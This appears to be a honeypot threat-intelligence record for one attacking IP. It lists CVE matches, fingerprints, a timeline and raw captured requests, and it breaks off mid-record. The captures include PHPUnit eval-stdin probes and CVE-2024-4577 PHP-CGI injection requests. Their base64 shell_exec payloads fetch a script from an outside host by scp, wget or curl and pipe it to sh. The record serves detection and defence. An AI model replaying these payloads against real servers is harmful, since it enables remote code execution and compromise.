{"ip":"43.134.239.25","total_events":72,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 715,155 bytes: sustained payload delivery, not a single opportunistic request.","Held a session open for 62s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"715,155 bytes sent, longest session 62s","bytes_sent":715155,"session_seconds":62,"persistent":true}},"first_seen":"2026-08-20T05:39:37","last_seen":"2026-09-26T05:52:09","events_24h":0,"events_7d":15,"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":132203,"org":"Tencent Building, Kejizhongyi Avenue"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as132203","label":"Tencent Global","category":"cdn","url":"https://www.peeringdb.com/asn/132203"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":55},{"port":443,"proto":"tcp","label":"HTTPS","count":13},{"port":2222,"proto":"tcp","label":"SSH-alt","count":4}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b503031fc058b20edc67633dba63b4c86bec8dfeb8864b2e8b7ab295602987f3b57ca820bf7ad77eb8c67040cdb7578be2bd03339768cb5dd61aecf89039891f2e62a10700246a6a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548eaea000000170000ff01000100000a000c000a7a7a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed7a7a00010011ec04c0e8a59de46b3036c8baefa61d1d9574a6aab23e0377412144ffdc180cba107d204809434459261b096626df262c4a357784898291d62d46229fc043985731ad2a71a72a2aac6e343ea627c9b7d903a5a80ab1b243d564064109529ef1a08356089d6681d2a493c904c2a1d1a127d2c36174cf817c2f5ea8cec1110a65a8923d038e039aa145a17beea46bcc30ae007959c4759fac0201b27014984a8aada592bb92183b85aa3aa943d4594e8e180fa5e4cb8dc4373649a21ee1965916151c1b2ba8f939f7aa6009d99f0ed38c008c55844a019b2aaf95205a097409c0b606e0d0431bf558230069eaeb6e12bc35620726f5e65d097cbcaf2318b9b2340b30183686492bf36507737a8826046e4cca40293f55d9c9f812402c77b256c4350aa873991985a32720c44b424a0cb520729bbfc384df9b77f89a943bc9ce64e347f665122419981ec3118ac52272151ac6f1a325e234ba19570b52ce1c612b9425b2642c8ddcf5c213114fa56ccb509b8d6115b19df25f4c59c64d339e63a88bc9a18daa91bd0a15160af5766973394f83cb4ef51b11e86b22b6ad1963a2eb23cc9d5638f34a97bd559d6f2a5257b1bede918dfbf8c146d8368c0c9c0e726c90f08a2a01028bfc0dafdc57d1b1aeba700baaa537f905a1f869c37657967f76007561861af03533e38446416925e366dda234f0742a8b004a65757aa92cb107740e88f67aab244c996ab0776579556b6379a75f493a0ea8847721c3b51f413ed41413527ac4b729748c71b4ba6a982b30bcc31312d24598cb8a2c5e7353110085e19396b80b23240b91622ab241a7bc069b185ed73b897195fc776fda953f608b95a1544c6356af1feb073bb6089f5bb692a9732ee7826f347267462e9eb860df7a0a5afa37b15a840cf14ceeb3456f1a8fa0f780ee95224d89af5f51004c306253f219c8c41fc8d46f6b3181c5c3c063462fefe1701f7109439a3132477871a7433485afda441368a31c83177917640e3285ab6d12070f8469182b25bad26f7498613b29623c971088b733d591109cab905dcb5345476bdcf2304f443e4c272e6d1b034a6a7c2dba3671635bf5f30f5c6aa1a3b333848c7719eb14cb308feaf50039d47eada27d000c25aa63ac3391005f6152384b235f3b5ba3b8035321535862ba36398f49816aa7c8091b89735b2756b86b9441a2858a546be647843a6547291a97c4e2ad8ee252a3acb6acf333e3145a5e682697fb97574c9a550115e63c1ea14c0abbc048bad22c8191715e415aefa48e6874a2d4859724dba657c6be79b9494ae8740d0035eac26650572b562574ac746c67074497db3e2c896d12971cb22c259e303b8423ad05554b1c4abd222b1f9cdb8ba7f5981c230629ebce8e9c0ce2c68a6b501dbcaca71209a6467c16f23a9639d9c9efb97dbb21266f123e34e89523985fb2c09566a88fce40ade8ab58c508bf8be607b688a50b177e79e8947893974c9cae737167da676615c36bad33ce051ba979576b65b43cb5333916b26460f5ae4bd5353b114ec93b4bf716a491066df49b1cca988b73391968c4063e010516fa8395d8a385085a39acb7ff0719e27a96f0c8333816978eb623227c58a7e8c63c82cee1e7fa23fda0220727ae34460de735ee5c379af78d00ca40d07892564bb1851ddbb8a8203e07452c072745dc1bb5db023e7a7cbb71c7536e1d637e6d36001d0020765fbac110b4a89dbc616b61e1369f8d6f3801d136affedf379c9b7121a14430002d00020101002b000706aaaa03040303caca0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"]},"fingerprint_peers":{"b11cun050_00040035_dd905059":277,"b11cuq070_00050835_c0b30902":223,"t13i170900_5b57614c22b0_78e6aca7449b":142,"19532158b559096b89b1a5f7d17175b2":173},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-08-20","count":1},{"date":"2026-08-22","count":6},{"date":"2026-08-23","count":1},{"date":"2026-09-22","count":49},{"date":"2026-09-26","count":15}],"recent_events":[{"timestamp":"2026-09-26T05:52:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":13,"duration_ms":4207,"bytes_in":9738,"bytes_out":1014},{"timestamp":"2026-09-26T05:52:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/LICENSE/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f4c4943454e53452f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":12,"duration_ms":3779,"bytes_in":9464,"bytes_out":936},{"timestamp":"2026-09-26T05:52:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":9,"duration_ms":2730,"bytes_in":8688,"bytes_out":702},{"timestamp":"2026-09-26T05:52:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":10,"duration_ms":3049,"bytes_in":8947,"bytes_out":780},{"timestamp":"2026-09-26T05:52:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/phpunit/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":11,"duration_ms":3403,"bytes_in":9202,"bytes_out":858},{"timestamp":"2026-09-26T05:52:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php shell_exec(base64_decode(\"Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","summary":"","payload_hex":"504f5354202f746573742e68656c6c6f3f2532354144642b616c6c6f775f75726c5f696e636c756465253344312b2532354144642b6175746f5f70726570656e645f66696c652533447068703a2f2f696e70757420485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943317a4943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d54417a4c6a55324f6e4e6f494739316446397a61447367615759675779416b507941745a5845674d4342644f7942306147567549474e6f6257396b49437434494739316446397a61447367633267676233563058334e6f49474e325a5638794d444930587a51314e7a63675069396b5a585976626e567362434179506959784f79426c62484e6c494368335a32563049433074626d38745932686c593273745932567964476c6d61574e68644755674c5846504c53426f64485277637a6f764c7a49784e7934324d4334784d444d754e54597663326767664877675933567962434174633273676148523063484d364c7938794d5463754e6a41754d54417a4c6a55324c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":6,"duration_ms":1757,"bytes_in":6683,"bytes_out":468},{"timestamp":"2026-09-26T05:52:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php shell_exec(base64_decode(\"Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068702533612f2f696e70757420485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943317a4943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d54417a4c6a55324f6e4e6f494739316446397a61447367615759675779416b507941745a5845674d4342644f7942306147567549474e6f6257396b49437434494739316446397a61447367633267676233563058334e6f49474e325a5638794d444930587a51314e7a63675069396b5a585976626e567362434179506959784f79426c62484e6c494368335a32563049433074626d38745932686c593273745932567964476c6d61574e68644755674c5846504c53426f64485277637a6f764c7a49784e7934324d4334784d444d754e54597663326767664877675933567962434174633273676148523063484d364c7938794d5463754e6a41754d54417a4c6a55324c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":7,"duration_ms":2085,"bytes_in":8158,"bytes_out":546},{"timestamp":"2026-09-26T05:52:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":8,"duration_ms":2404,"bytes_in":8425,"bytes_out":624},{"timestamp":"2026-09-26T05:52:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php shell_exec(base64_decode(\"Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f3f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c687264475271525546425155464